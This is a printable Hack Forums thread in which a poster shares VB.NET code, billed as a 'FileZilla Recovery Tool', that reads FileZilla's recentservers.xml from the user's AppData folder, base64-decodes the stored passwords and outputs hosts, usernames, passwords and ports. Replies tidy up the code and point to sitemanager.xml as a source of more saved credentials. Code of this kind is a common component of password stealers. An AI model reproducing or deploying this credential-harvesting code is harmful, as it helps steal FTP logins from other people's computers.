Hack Forums
[.NET] FileZilla Recovery Tool - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] FileZilla Recovery Tool (/showthread.php?tid=4939588)



FileZilla Recovery Tool - Adderall - Aug 7, 2015

This is the first time I post something useful here 🤣 I really wanted to post a Chrome recovery tool, but I wasn't finished with the SQL class, so maybe next time. ✌
I know FileZilla recovery tools have been posted on this forum, but most are old and don't work anymore for some reason so here is one that works and this one is for the new and old version of FileZilla (base64 encoded and not).
I made this in VB.net with framework 2.0.
everyone with knowledge in VB.net and Xml could make this, but this is for the lazy and new people to VB.net.

Code
Imports System
Imports System.IO
Imports System.Xml
Imports System.Text

    Friend Function FileZillaRecovery() As String
      Dim FileZilla As New StringBuilder
      Try
      If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\FileZilla\recentservers.xml") Then
      Dim FileZillaXmlDocument As New XmlDocument
      FileZillaXmlDocument.Load(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\FileZilla\recentservers.xml")
      Dim FileZillaNodeList As XmlNodeList = FileZillaXmlDocument.SelectNodes("//Server")

      FileZilla.AppendLine("FileZilla:")
      For Each FileZillaXmlElement As XmlElement In FileZillaNodeList
      FileZilla.AppendLine(Environment.NewLine & "Host: " & FileZillaXmlElement.Item("Host").InnerText)
      FileZilla.AppendLine("Username: " & FileZillaXmlElement.Item("User").InnerText)

      Dim Password As String
      If FileZillaXmlElement.Item("Pass").Attributes("encoding").InnerText = "base64" Then
      Password = Encoding.UTF8.GetString(Convert.FromBase64String(FileZillaXmlElement.Item("Pass").InnerText)) 'New version (base64 encoded)
      Else
      Password = FileZillaXmlElement.Item("Pass").InnerText 'Old version (not base64 encoded)
      End If

      FileZilla.AppendLine("Password: " & Password)
      FileZilla.AppendLine("Port: " & FileZillaXmlElement.Item("Port").InnerText)
      Next
      Else Return String.Empty
      End If
      Catch : End Try
      Return FileZilla.ToString
    End Function

How to use?
Code
TextBox1.Text = FileZillaRecovery()

Leave a comment if you liked it or if you have anything to say about my code.



* - iLogicâ„¢ - Aug 7, 2015

I will try it 🙂 Thanks for releasing it 😉


* - Brokeos - Aug 8, 2015

Why use a Try, encryption is given in the <Pass>

[Image: iDqqM24.png]

Use :

Code
If FileZillaXmlElement.Item("Pass").Attributes("encoding").InnerText = "base64" Then
    Password = Encoding.UTF8.GetString(Convert.FromBase64String(FileZillaXmlElement.Item("Pass").InnerText)) 'New version (base64 encoded)
Else
    Password = FileZillaXmlElement.Item("Pass").InnerText
End If



* - Cuby - Aug 8, 2015

Lol Filezilla uses base64?
Thats new.

Nevertheless --> Not encrypted : /

Thansk for sharing.


* - Adderall - Aug 8, 2015

(Aug 8, 2015 02:49 AM)Brokeos Wrote:  Why use a Try, encryption is given in the <Pass>
Use :
Code
If FileZillaXmlElement.Item("Pass").Attributes("encoding").InnerText = "base64" Then
    Password = Encoding.UTF8.GetString(Convert.FromBase64String(FileZillaXmlElement.Item("Pass").InnerText)) 'New version (base64 encoded)
Else
    Password = FileZillaXmlElement.Item("Pass").InnerText
End If

Yeah this method is much better, but I don't use Xml a lot so don't know much about it. I am now learning it that's why I made this recovery tool first it worked on split methods which was very ugly. I added your code to the source thanks for giving a better method.


* - FET - Nov 11, 2015

This works perfectly on both the new and the old versions of FileZilla! Great work man!

This though only accesses the recent servers that were visited by the user. If anyone likes to get also the saved servers in FileZilla they can just access the "sitemanager.xml" in the same directory using the same method.